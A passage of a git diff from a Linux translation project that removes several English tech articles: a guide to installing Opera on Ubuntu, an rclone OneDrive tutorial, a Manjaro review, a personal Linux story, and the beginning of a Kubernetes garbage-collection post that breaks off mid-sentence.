how to install Opera browser easily and safely on Ubuntu and Debian based distributions.**_ - -[Opera browser][1] was among the first few browsers to have a speed dial feature for quickly accessing most visited websites from the new tab. - -Opera still offers several interesting features such as a free VPN, ad-blocker, social media messengers in the sidebar, battery saver, grouping tabs in workspaces etc. - -Personally, I do not use Opera. It is not open source. It’s [so-called free-VPN is not that good][2] (it’s hardly even a VPN). After [its acquisition by a Chinese group][3], transparency took another hit. It [collects a vast amount of data][4], same as Alibaba’s UC Browser. - -Anyway, I am not here to make a case against Opera. If you want to install and use Opera on Ubuntu, let me show you how to do that easily and safely. - -Non-FOSS alert! - -Opera browser is not open source. It is covered here because it is available on Linux and the article’s focus is on Linux. - -### Installing Opera browser on Ubuntu - -Installing Opera Browser in Ubuntu and Debian-based distributions is as simple as installing the DEB file from its download page and double-clicking on it. - -Go to [Opera’s download page][5] and click on Download button to download the .DEB installer file. - -![Download Opera Browser][6] - -Once you have downloaded it, double-click on it to [install the application from deb file][7]. In Ubuntu 20.04, you may have to [right click and select “Open With Software” option][8]. - -It will open Opera in Software Center and you can just lick on the install button to install Opera. - -![][9] - -The good thing about this method is that it automatically adds an entry in the repository list. This way, you’ll get all the future updates to the Opera browser with the regular system updates. - -![Opera source added to repository list to provide you regular updates][10] - -This is same as [installing Google Chrome on Ubuntu][11] as an entry is adding for Chrome to provide you regular updates. - -See, how easy it was to install Opera? - -#### How to remove Opera browser - -You can look for the installed applications in the software center and uninstall Opera from there. - -![Remove Opera from the Software Center][12] - -You may also use terminal to remove it in this fashion: - -``` -sudo apt remove opera-stable -``` - -You may also choose to remove the additional Opera repository added in the sources list. - -![Remove Opera Repository][13] - -Installing Opera browser via command line (for intermediate to expert users) - -Installing Opera browser graphically as described above is simplest and easiest method. If you want to take the command line route, you can do that as well. - -First, make sure to [install Curl on Ubuntu][14]: - -``` -sudo apt install curl -``` - -Download and add the Opera repository key: - -``` -curl https://deb.opera.com/archive.key | sudo apt-key add - -``` - -Now add the Opera repository in your sources list directory (not file): - -``` -echo deb https://deb.opera.com/opera-stable/ stable non-free | sudo tee /etc/apt/sources.list.d/opera.list -``` - -Update the package cache so that your system is aware of the packages available by the newly added repository: - -``` -sudo apt update -``` - -Finally, install the opera-stable package to install Opera. - -``` -sudo apt install opera-stable -``` - -During the installation, you’ll be prompted for adding Opera repository to sources list. Select NO because you already did that. - -To remove Opera browser installed this way, you should use the following commands one by one: - -``` -sudo apt remove opera-stable -sudo rm -f /etc/apt/sources.list.d/opera.list -``` - -#### Opera as Snap - -Opera browser is also available as a snap package officially. If you have [Snap support enabled in your Linux distribution][15], you may install Opera via Snap: - -``` -sudo snap install opera -``` - -**Conclusion** - -One of It’s FOSS readers contacted me with a repository issue that was caused by the incorrect Opera browser installation. - -I had to write this straightforward tutorial because some other websites on the internet are suggesting methods with unnecessarily complicated commands that might end up with a corrupt sources.list. I do hope it helps new Linux users. - --------------------------------------------------------------------------------- - -via: https://itsfoss.com/install-opera-ubuntu/ - -作者:[Abhishek Prakash][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://itsfoss.com/author/abhishek/ -[b]: https://github.com/lujun9972 -[1]: https://www.opera.com/hi -[2]: https://www.tomsguide.com/us/opera-vpn,review-4496.html -[3]: https://www.nytimes.com/2016/02/11/business/dealbook/china-opera-kunlun-qihoo-golden-brick.html -[4]: https://restoreprivacy.com/secure-browser/ -[5]: https://www.opera.com/hi/computer/opera -[6]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/06/opera-browser-download.png?ssl=1 -[7]: https://itsfoss.com/install-deb-files-ubuntu/ -[8]: https://itsfoss.com/cant-install-deb-file-ubuntu/ -[9]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2020/06/install-opera-ubuntu.png?ssl=1 -[10]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/06/opera-source-added.png?ssl=1 -[11]: https://itsfoss.com/install-chrome-ubuntu/ -[12]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2020/06/remove-opera-browser-ubuntu.png?ssl=1 -[13]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2020/06/remove-opera-repository.png?ssl=1 -[14]: https://itsfoss.com/install-curl-ubuntu/ -[15]: https://itsfoss.com/install-snap-linux/ diff --git a/sources/tech/20200613 How to Use Microsoft OneDrive in Linux With Rclone Open-Source Tool -For Intermediate to Expert Users.md b/sources/tech/20200613 How to Use Microsoft OneDrive in Linux With Rclone Open-Source Tool -For Intermediate to Expert Users.md deleted file mode 100644 index c39f2e2745..0000000000 --- a/sources/tech/20200613 How to Use Microsoft OneDrive in Linux With Rclone Open-Source Tool -For Intermediate to Expert Users.md +++ /dev/null @@ -1,194 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (How to Use Microsoft OneDrive in Linux With Rclone Open-Source Tool [For Intermediate to Expert Users]) -[#]: via: (https://itsfoss.com/use-onedrive-linux-rclone/) -[#]: author: (Community https://itsfoss.com/author/itsfoss/) - -How to Use Microsoft OneDrive in Linux With Rclone Open-Source Tool [For Intermediate to Expert Users] -====== - -_**Brief: A step-by-step tutorial showing how to use the rclone command line tool to synchronize OneDrive in Linux.**_ - -There are [several cloud storage services available for Linux][1]. There is [Dropbox][2] that gives 2 GB of free space. You can also use [Mega][3] where you can get 15 GB of free storage. - -Microsoft’s own Cloud storage service, OneDrive gives 5 GB of free storage to any Microsoft account holder. The one major problem is that unlike Dropbox and Mega, Microsoft does not provide a desktop client for Linux. - -This means that you’ll have to resort to using web browser for accessing your files in OneDrive which is not very convinient. - -There is a hassle-free, GUI application [Insync][4] that lets you [use OneDrive on Linux easily][5]. But it’s a premium software and not everyone would like that. - -If you are not afraid of the Linux terminal, let me show you a command line tool rclone that you can use for synchronizing Microsoft OneDrive in Linux. - -![][6] - -### What is rclone? - -Rclone is an open source command line tool that enables you to synchronize a local Linux directory with various cloud storage services. - -With rclone, you can backup files to cloud storage, restore files from cloud storage, mirror cloud data, migrate data between cloud services, use multiple cloud storage as disk. - -You can use it with Google Drive, OneDrive, Nextcloud, Amazon S3 and over [40 such cloud services][7]. - -Rclone is an extensive command line tool and using it could be confusing with so many options. This is why I wrote this tutorial to show you how to use rclone with Microsoft OneDrive. - -### Sync Microsoft OneDrive in Linux with rclone - -Using Rclone in Linux is not that complicated but requires some patience and familiarity with the Linux terminal. You need to tweak the configuration a little to make it work. Let’s see how to do that. - -#### Step 1: Install Rclone - -I am [using Ubuntu 20.04][8] in this tutorial but you should be able to follow this tutorial in pretty much any Linux distribution. Just the rclone installation instruction could be different but the rest of steps remains the same. - -In Debian/Ubuntu based distributions use: - -``` -sudo apt install rclone -``` - -For Arch-based distributions, use: - -``` -sudo pacman -S rclone -``` - -For other distributions, please use your distribution’s package manager. - -#### Step 2: Adding new remote - -Once you have installed rclone successfully, you need to configure rclone. Enter the following command in the terminal: - -``` -rclone config -``` - -If it’s your first time using rclone, you have to add a new remote to rclone. Select ‘**n**‘ to add new remote. - -![Configuring Rclone][9] - -Now you have to enter the name of remote. You can enter any name here that matches the cloud service so that it is easy to identify. I am using ‘**onedrive**‘. - -![Configuring Rclone ][10] - -#### Step 3: Select cloud service you want to sync with rclone - -After entering name and hitting enter, you will see a list of cloud services like Google cloud storage, Box, One Drive and others. - -You have to enter the number of the service you want to use. In this case, it’s ‘One Drive’. Make sure you enter the correct number. - -![Selecting Cloud Service][11] - -As you don’t need to enter client ID or secret ID hit **Enter** twice. - -Next enter **‘N’** for selecting **no** for advanced configuration. Of course, if you want to configure something very specific, you can go ahead with **Y**. - -![Configuring OneDrive][12] - -When you’re asked for **‘Use auto config’**, press **Y**. - -#### Step 4: Login to OneDrive account - -When you enter ‘y’ and hit enter, your default browser will open and here you have to log into your Microsoft account. And if it asks for permission click on **‘yes’**. - -![One Drive Logging In][13] - -#### Step 5: Enter account type - -Now you have to select account type. For most of the users it will be the first one, **‘One drive Personal or business’**. I believe it is personal so go with 1. - -![][14] - -After that, you will get a list of ‘Drives’ associated with your account. So, for the most part, you need to select ‘0’ to select your drive and enter ‘**Y**‘ for yes in next step. - -![][15] - -It will ask for one last time if this configuration is okay? Hit **‘Y’** if it is. - -![][16] - -And then enter **‘q’** to exit the Rclone configuration menu. - -![][17] - -#### Step 5: Mounting OneDrive int file manager - -Create folder in your home directory where you will mount OneDrive. I will name the folder “OneDrive”. You can name it whatever you want, but please make sure you change the name to yours in the commands. - -[Create a new folder with mkdir command][18] in your home directory or wherever you want: - -``` -mkdir ~/OneDrive -``` - -Now you have to use the following command: - -``` -rclone --vfs-cache-mode writes mount "one drive": ~/OneDrive -``` - -In above command “one drive” is the name of the “remote”, so you should use the correct name there if yours is different. You can check the name of the “remote” in step 2 of this tutorial. - -![Mounting One Drive][19] - -This command will mount one drive in given location and will continue to run in terminal. When you stop the process with,`ctrl + c` the one drive will be unmounted. - -To mount one drive on startup, follow the next step below. - -#### Step 6: Mount One Drive on startup - -Every Linux distribution gives some way to manage startup application. I am using [Ubuntu’s Startup Application Preferences tool][20] here. - -Open “**Startup Applications**“. And click on “**Add**“. Now, in the command field, enter the following: - -``` -sh -c "rclone --vfs-cache-mode writes mount onedrive: ~/OneDrive" -``` - -![Mounting OneDrive On Startup][21] - -That’s it. Now, you can easily use OneDrive on Linux without any hiccups. - -As you can see, using OneDrive in Linux with rclone takes some effort. If you want an easy way out, get a GUI tool like [Insync][4]. and use OneDrive natively in Linux. - -I hope you find this tutorial helpful. If you have any questions or suggestion, we’ll be happy to help you out. - -### Sumeet - -Computer engineer, FOSS lover, lower level computing enthusiast. Believe in helping others and spreading knowledge. When I get off from computer (it rarely happens) I do painting, reading and watching movies/series. Love the work of Sir Arthur Conan Doyle, J. R. R. Tolkien and J. K. Rowling. BTW, I use Arch. - --------------------------------------------------------------------------------- - -via: https://itsfoss.com/use-onedrive-linux-rclone/ - -作者:[Community][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://itsfoss.com/author/itsfoss/ -[b]: https://github.com/lujun9972 -[1]: https://itsfoss.com/cloud-services-linux/ -[2]: https://www.dropbox.com/ -[3]: https://itsfoss.com/recommends/mega/ -[4]: https://itsfoss.com/recommends/insync/ -[5]: https://itsfoss.com/use-onedrive-on-linux/ -[6]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/06/sync-onedrive-in-linux-rclone.png?ssl=1 -[7]: https://rclone.org/#providers -[8]: https://itsfoss.com/things-to-do-after-installing-ubuntu-20-04/ -[9]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2020/06/Configuring-Rclone.png?resize=800%2C298&ssl=1 -[10]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/06/Configuring-Rclone-1.png?resize=800%2C303&ssl=1 -[11]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/06/Selecting-cloud-service.png?resize=800%2C416&ssl=1 -[12]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2020/06/Configuring-OneDrive-1.png?resize=800%2C416&ssl=1 -[13]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2020/06/One-Drive-logging-in.png?resize=800%2C432&ssl=1 -[14]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/06/Configuring-OneDrive-2.png?resize=800%2C430&ssl=1 -[15]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/06/Configuring-OneDrive-3.png?resize=800%2C428&ssl=1 -[16]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/06/Configuring-One-Drive.png?resize=800%2C426&ssl=1 -[17]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/06/Exiting-Rclone-Configuration.png?resize=800%2C255&ssl=1 -[18]: https://linuxhandbook.com/mkdir-command/ -[19]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2020/06/Mounting-one-drive-1.png?fit=800%2C432&ssl=1 -[20]: https://itsfoss.com/manage-startup-applications-ubuntu/ -[21]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2020/06/Mounting-OneDrive-on-startup.png?fit=800%2C499&ssl=1 diff --git a/sources/tech/20200613 Manjaro Linux Review- ‘Arch Linux for Human Beings- Provides Rolling Release for Every User.md b/sources/tech/20200613 Manjaro Linux Review- ‘Arch Linux for Human Beings- Provides Rolling Release for Every User.md deleted file mode 100644 index c0deeab7e4..0000000000 --- a/sources/tech/20200613 Manjaro Linux Review- ‘Arch Linux for Human Beings- Provides Rolling Release for Every User.md +++ /dev/null @@ -1,219 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Manjaro Linux Review: ‘Arch Linux for Human Beings’ Provides Rolling Release for Every User) -[#]: via: (https://itsfoss.com/manjaro-linux-review/) -[#]: author: (Dimitrios Savvopoulos https://itsfoss.com/author/dimitrios/) - -Manjaro Linux Review: ‘Arch Linux for Human Beings’ Provides Rolling Release for Every User -====== - -[Manjaro 20.0 Lysia][1] has been released lately. In this article, I’ll take a look at the features of [Manjaro Linux][2] in general, discuss [why people like Manjaro][3] and compare the performance of Cinnamon desktop with Linux Mint 19.3 Cinnamon edition. - -### Manjaro Linux: Why so popular? - -![Image Source][4] - -To every stereotype there is some element of truth. One of the main reasons that Manjaro is so popular has to do with its roots. Manjaro is based on Arch Linux and inherits many elements of [Arch Linux][5] but it is a very distinct project. - -Unlike Arch Linux, almost everything is pre-configured in Manjaro. This makes it one of the most [user-friendly Arch-based distributions][6]. A lot of new users get attracted to this idea and I can’t blame them. - -Will Manjaro then can be the new Ubuntu for a new comer? My answer is Yes! - -[Ubuntu][7] and [Canonical][8] will always have my utmost respect as it has a huge success on making Linux easily accessible to newcomers. - -Just as Ubuntu made “Linux for human beings”, Manjaro made “Arch Linux for human beings”. - -But his doesn’t mean Manjaro is a [Linux distribution for beginners][9] only. Manjaro can be suitable for both and experienced users. - -Let me go over some of the main features of Manjaro. - -#### Easy installation - -[Installing Arch Linux can be a nightmare][10] for many users. On the other hand, [installing Manjaro Linux][11] is easier thanks to the [Calamares][12] graphical installer. - -![Manjaro Linux graphical installer][13] - -If you want to take control in your own hands, you can use [Manjaro Architect][14]. It provides a terminal-based installer. It is still easier than installing directly through commands. - -![][15] - -#### Desktop environments and Window Managers of your choice - -Officially Manjaro Linux supports [Xfce desktop][16] as the default choice. The Xfce in Manjaro looks good thanks to the customization. Manjaro also offers GNOME and KDE Plasma variants. - -If that is not enough, Manjaro community maintains [Awesome][17], [Bspwm][18], [Budgie][19], [Cinnamon][20], [i3][21], LXDE, LXQt, [MATE][22] and [Openbox][23]. - -![Desktop flavors available via Manjaro Architect][24] - -#### X86 architecture is not a limitation for Manjaro - -You are not limited to [X86 architecture][25] with Manjaro as it is ARM architecture friendly. - -Images for [PineBook Pro][26], [Raspberry Pi][27], [Rock Pi][28] 4, Rock Pro 64, [Khadas Vim][29] 1 & 3 and [other single board computers][30] are available in Xfce and KDE Plasma flavors. - -#### Rolling release but not rolling blindly - -Manjaro is a stable bleeding edge rolling release and is claimed to be more tested than Arch Linux because it performs some [additional testing][31] before releasing the updates. - -![][32] - -#### **New** **hardware? One click and it’s done.** - -Manjaro comes with a [hardware detection tool][33] known as MHWD. If you need drivers for your hardware, just open it, click on “Auto Install” and wait until it’s finished. That’s it. - -![Manjaro hardware configuration GUI tool][34] - -#### **Ease to switch Linux kernels.** - -Power-users and people who need special features of the [Linux Kernel][35] that don’t come with the default one, can just switch to a different Kernel with one click. - - * **RT-Kernel** (Real Time) is suitable for a multimedia user and for applications real time features. - * **LTS kernel** is the way to go if stability your priority. - * **Latest kernel** has the latest features and supports the latest hardware. Did you get a recently introduced to the market graphics card? The newest kernel is for you. - - - -![Manjaro kernel GUI switch][36] - -Manjaro supports multiple installed Kernels at the same time. Just re-boot your system and make your selection in the boot menu. - -#### Access to the massive Arch User Repository (AUR) - -What doesn’t work so well with Ubuntu-based distributions is managing [Personal Package Archives (PPAs)][37]. A PPA is a repository for a single or several applications, usually from an independent developer. - -Managing PPAs can become troublesome. They should be purged as they can become abandoned and orphaned without notice. You need to reinstate them if you reinstall Ubuntu. - -If you use Manjaro, you also have access to the [Arch User Repository][38] (AUR). The [AUR is probably the largest repository][39] catering for any distribution. It’s certainly stocked with the freshest produce. - -#### Snap and Flatpack support in the Pamac software manager - -![Snap applications in Pamac][40] - -Pamac 9.4 series has enabled Snap and Flatpak support by default. You can now install snaps or flatpaks with Pamac in GUI or terminal and access an even [larger selection of the Linux applications][41]. - -#### Global set of mirrors - -No-matter your location Manjaro has a [great number of servers][42] which is known as mirrors and you can choose the closest available. - -Top tip! - -If you are a frequent traveler all you have to do is to open the terminal and run the following command: - -sudo pacman-mirrors –geoip && sudo pacman -Syyu - -This simple command will ping a list of mirrors for your country only, rating each one and reordering the list so the faster mirrors are at the top. Don’t forget to run the command once you get back home! - -#### ZFS filesystem support - -As mentioned previously, command line interface installer is called Manjaro Architect and if you are an experienced user there is a [guide to follow][14]. You can use [ZFS filesystem][43] as root in Manjaro 20.0 Lysia Architect. - -### Performance comparison of Manjaro 19 Cinnamon with Linux Mint 19.3 Cinnamon - -I am not an expert on performance comparison and other low-level stuff. So, please forgive me if you dislike this comparison. - -Manjaro feels snappier than Ubuntu and its derivatives. So, what can explain the speed benefits? -A possible explanation could be the RAM and active tasks usage on idle. - -Here are the stats for idle Manjaro Cinnamon. The idle memory usage is 577 MB. - -![htop running on Manjaro 19.0.2 – Cinnamon 4.4.8][44] - -Here are the stats for an idle Linux Mint Cinnamon. The idle memory usage is 656 MB. - -![htop running on Linux Mint 19.3 – Cinnamon 4.4.8][45] - -By running the below command you can [check the running services in Linux][46]: - -``` -systemctl list-unit-files --state=enabled --no-pager -``` - -The results on Manjaro: - -![Manjaro running services][47] - -The results on Linux Mint: - -![Linux Mint running services][48] - -Each of these services consume system resources, and more specifically system memory and kernel time. - -#### Conclusion - -Manjaro takes most of the risk out of the rolling model by delaying the release of new applications and features for several weeks. The rolling distribution, out-of-the-box Arch experience will win you over. - - * No-hassle experience - * Kernel management - * Superior packaging system - * Excellent hardware detection - * Fast & responsive - - - -Let me know your thoughts on Manjaro on the comments below and don’t forget to [subscribe to our weekly Linux newsletter][49]. - --------------------------------------------------------------------------------- - -via: https://itsfoss.com/manjaro-linux-review/ - -作者:[Dimitrios Savvopoulos][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://itsfoss.com/author/dimitrios/ -[b]: https://github.com/lujun9972 -[1]: https://itsfoss.com/manjaro-20-release/ -[2]: https://manjaro.org/ -[3]: https://itsfoss.com/why-use-manjaro-linux/ -[4]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/06/manjaro_wallpaper.jpg?ssl=1 -[5]: https://www.archlinux.org/ -[6]: https://itsfoss.com/arch-based-linux-distros/ -[7]: https://ubuntu.com/ -[8]: https://canonical.com/ -[9]: https://itsfoss.com/best-linux-beginners/ -[10]: https://itsfoss.com/install-arch-linux/ -[11]: https://itsfoss.com/install-manjaro-linux/ -[12]: https://calamares.io/ -[13]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2019/03/manjaro_install_installer_partition-1.png?resize=800%2C499&ssl=1 -[14]: https://itsfoss.com/manjaro-architect-review/ -[15]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2017/06/manjaro-architect-main.png?ssl=1 -[16]: https://www.xfce.org/ -[17]: https://awesomewm.org/ -[18]: https://github.com/baskerville/bspwm -[19]: https://github.com/solus-project/budgie-desktop -[20]: https://github.com/linuxmint/Cinnamon -[21]: https://i3wm.org/ -[22]: https://mate-desktop.org/ -[23]: http://openbox.org/wiki/Main_Page -[24]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2017/06/manjaro-architect-de.png?ssl=1 -[25]: https://www.computerhope.com/jargon/x/x86.htm -[26]: https://itsfoss.com/pinebook-pro/ -[27]: https://itsfoss.com/raspberrypi/ -[28]: https://rockpi.org/ -[29]: https://itsfoss.com/vim3l/ -[30]: https://itsfoss.com/raspberry-pi-alternatives/ -[31]: https://manjaro.org/features/fresh-and-stable/ -[32]: https://i1.wp.com/manjaro.org/img/features/repositories.png?ssl=1 -[33]: https://wiki.manjaro.org/index.php?title=Manjaro_Hardware_Detection -[34]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2020/04/hardware-detection.png?ssl=1 -[35]: https://itsfoss.com/find-which-kernel-version-is-running-in-ubuntu/ -[36]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2020/04/Manjaro-kernel-switch.png?ssl=1 -[37]: https://itsfoss.com/ppa-guide/ -[38]: https://aur.archlinux.org/ -[39]: https://itsfoss.com/aur-arch-linux/ -[40]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/04/snap-app-pacman.jpg?resize=800%2C489&ssl=1 -[41]: https://itsfoss.com/essential-linux-applications/ -[42]: https://wiki.manjaro.org/Pacman-mirrors#Purpose -[43]: https://itsfoss.com/what-is-zfs/ -[44]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/04/htop_manjaro_cinnamon.jpg?ssl=1 -[45]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/04/htop_mint.png?ssl=1 -[46]: https://itsfoss.com/start-stop-restart-services-linux/ -[47]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/04/Manjaro-cropped.png?ssl=1 -[48]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/04/Mint-cropped.png?ssl=1 -[49]: https://itsfoss.com/subscribe-to-newsletter/ diff --git a/sources/tech/20200615 My Linux Story- remixing distributions at 17 years old.md b/sources/tech/20200615 My Linux Story- remixing distributions at 17 years old.md deleted file mode 100644 index 1ea0af33af..0000000000 --- a/sources/tech/20200615 My Linux Story- remixing distributions at 17 years old.md +++ /dev/null @@ -1,65 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (My Linux Story: remixing distributions at 17 years old) -[#]: via: (https://opensource.com/article/20/6/linux-remix) -[#]: author: (Kai Lyons https://opensource.com/users/kailikeslinux) - -My Linux Story: remixing distributions at 17 years old -====== -Open source and Linux create an environment ripe for hands-on learning -and experimentation, and it's never too early to start. -![Person programming on a laptop on a building][1] - -The [Lumina desktop][2] was originally developed by iXSystems for TrueOS, which later became Project Trident. It's well-known as the BSD desktop environment but has been ported to Linux. It introduces desktop elements like a panel, system tray, and so on, to the Fluxbox window manager, and is highly portable. It's a good desktop, and while it's generally easy to install, there aren't many distributions offering it by default. - -I'm the sole contributor and maintainer to the Ubuntu Lumina remix. My work on the Ubuntu Lumina project has been a lengthy process, and much of it has been learning along the way. As of this writing, I'm 17 years old, but I've been a technology enthusiast since age six when a friend of mine helped me write my first ever "Hello, world" script. - -### My introduction to Linux - -Although I am a distribution developer, I haven't been on Linux all that long. I didn't start using Linux until 2018 when I first got into Fedora 29. My original reason for installing Linux was to build an operating system, and Linux taught me an important lesson—in open source, you can build upon the successful work of others. You can learn the components of the existing scaffolding, which grants you a substantial headstart in reaching your ultimate goal. - -My original plan was to write a custom kernel. Once I learned what a monumental task it was, I decided to redirect that enthusiasm to working with the Linux kernel for a while, since I ultimately wanted to make an operating system. - -I got started on Fedora using the Gnome desktop. I still couldn't tell you for sure how I got it to fit on a 1GB flash drive, but that's why Fedora 29 was my pick—I fell in love with Gnome 3 immediately, and [Gnome Boxes][3] was the first virtual machine I ever used. I've found many other desktops to love, too—Pantheon, Cinnamon, LXQt, and others. After testing FreeBSD for the first time only a short three months after finding Linux, I found Lumina. - -### My first operating system attempts - -My initial attempts to design my own distribution with Lumina as the default environment were mostly exercises in experimenting with tools. The tool I used most at first was [Linux-Live][4]. I never thought of working on an operating system from anything but the live-system. It actually wouldn't be until Ubuntu Lumina that I would even try to do it with an installed system. - -My first distribution had no name, and it was a [Linux From Scratch][5] (LFS) system. It taught me a lot, but in the end, it wasn't what I really wanted; it didn't even have a proper installer. - -My second through seventh tries were random assortments of mashing software together, and only one of them ever got "shipped." I don't remember the name of it, or even whether it worked, but it was something that I had made myself, and it showed me what was possible. While the end results weren't what I ultimately wanted, I still loved the process of making them. - -I spent time reading LFS, remixing Gentoo and Arch, made a couple of weird Debian tries, and finally decided to create an Ubuntu Cinnamon remix. I soon found out that Joshua Peisach had already made one. I didn't get far on my own remix; it never booted, so I abandoned the idea. With Joshua's encouragement, there were a few intermediate attempts at remixes (a failed attempt at Pantheon, and then i3) before I settled on concentrating on Lumina. - -### Lumina desktop on Linux - -My Lumina-based distribution is still in development, meaning it's usable but has several significant omissions. The goal of the project is to provide a comfortable and lightweight OS. The Lumina desktop environment doesn't have many tools compared to a full desktop environment, including those considered to be minimal, like LXQt. And while Lumina is a little clunky, it's about as lightweight as XFCE. - -While it's true that I'm the only contributor to the project, I have gotten a lot of help along the way. Advice from Martin Wimpress, Joshua Peisach, Rik Mills, Thomas Castleman, and many other incredible distribution developers has guided me through many a twist and turn on what could have been a discouraging learning curve. - -### Open source knowledge - -This is what remixing, and indeed, open source itself, is all about—learning and helping one another while making better technology. My work builds upon the work of other distribution maintainers, packagers, a BSD desktop, an ISO-Builder developed for Budgie, and the entire Linux community. There's no question in my mind that I wouldn't have a bootable OS to call my own and to share with others without Linux and open source. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/6/linux-remix - -作者:[Kai Lyons][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/kailikeslinux -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/computer_code_programming_laptop.jpg?itok=ormv35tV (Person programming on a laptop on a building) -[2]: https://opensource.com/article/19/12/linux-lumina-desktop -[3]: https://opensource.com/article/19/5/getting-started-gnome-boxes-virtualization -[4]: https://www.linuxliveusb.com/ -[5]: http://www.linuxfromscratch.org/ diff --git a/sources/tech/20200616 Hard lessons learned about Kubernetes garbage collection.md b/sources/tech/20200616 Hard lessons learned about Kubernetes garbage collection.md deleted file mode 100644 index dacb4d3798..0000000000 --- a/sources/tech/20200616 Hard lessons learned about Kubernetes garbage collection.md +++ /dev/null @@ -1,88 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Hard lessons learned about Kubernetes garbage collection) -[#]: via: (https://opensource.com/article/20/6/kubernetes-garbage-collection) -[#]: author: (Oleg Matskiv https://opensource.com/users/oleg-matskiv) - -Hard lessons learned about Kubernetes garbage collection -====== -Why I'll never skim Kubernetes documentation again. -![Ship captain sailing the Kubernetes seas][1] - -Some time ago, I learned an important Kubernetes lesson the hard way. The story begins with [Kubernetes Operators][2], which is a method of packaging, deploying, and managing a Kubernetes application. The thing I tripped up on was [garbage collection][3] in the cluster, which cleans up objects that no longer have an owner object (but more on that later). - -### The task - -Last year, the team I work on was assigned to develop a Kubernetes Operator. For most people on the team, this was their first experience with the [Operator SDK][4] (software development kit) and [Kubernetes controllers][5], which are the control loops that power Kubernetes. We all read some basic introductory information about Operator SDK and followed the [quickstart guide][6] for building an Operator in the Go programming language. We learned some basic principles and a few handy tricks, and we were eager to apply them. - -Our task was to develop an Operator that would install, configure, and ensure production readiness for a number of projects. The goal was to have automation for managing a fleet of instances with minimal manual work for our [site reliability engineering (SRE)][7] team. Not an easy task, but we liked the challenge and the technologies we could use, so we were moving fast and breaking some things along the way. - -### The bug - -Initially, we were chasing a proof of concept implementation, so we logged bugs with a plan to fix them later. - -![Decision-making matrix][8] - -([Davidjcmorris][9], [CC-BY-SA-4.0][10]) - -The bug I will describe fits perfectly into Quadrant II of this [Eisenhower Matrix][11] (as Stephen Covey espoused)—not urgent, but important. Very important actually—all the namespaces that our Operator created would sometimes terminate without any request from a user. It didn't happen very often, so we decided to fix it later. - -Eventually, I picked up this bug from our backlog and started looking for a root cause. The Operator definitely couldn't terminate the namespace, as we didn't have any Delete API calls written in the code at that point, which, in hindsight, was the first clue. I started my detective work by dialing up the logging on the [Kubernetes API server][12] and making sure the logs were being safely saved. Then I waited for the issue to happen again. - -Once the issue occurred in an environment I set up, I searched the logs for this combination of strings: `"requestURI":"/api/v1/namespaces/my-namespace"` \+ `"verb":"delete"`_._ - -From my search results, I found what was executing the namespace deletion: `"user":{"username":"system:serviceaccount:kube-system:generic-garbage-collector"`. - -Now I knew _how_ the namespaces were removed, but I didn't know _why_. I opened the Kubernetes [garbage collection documentation][3], but since I am not a patient man, I just skimmed through the basic information about the `ownerReference` field and continued thinking about why this was happening. - -We were using the `ownerReference` metadata field on the namespaces that we created. The owner was our own resource defined by the [custom resource API][13]. And when our custom resource was deleted, the associated namespaces that it owned through the `ownerReference` were deleted as well. This deletion of associated objects made the uninstallation step a breeze. - -I didn't see any problem with this, so I continued reading the logs for more clues. I noticed that the namespace would be removed when the `kube-controller-manager` pod restarted. The reason for the restart made sense to me: the `kube-controller-manager` pod runs on the master 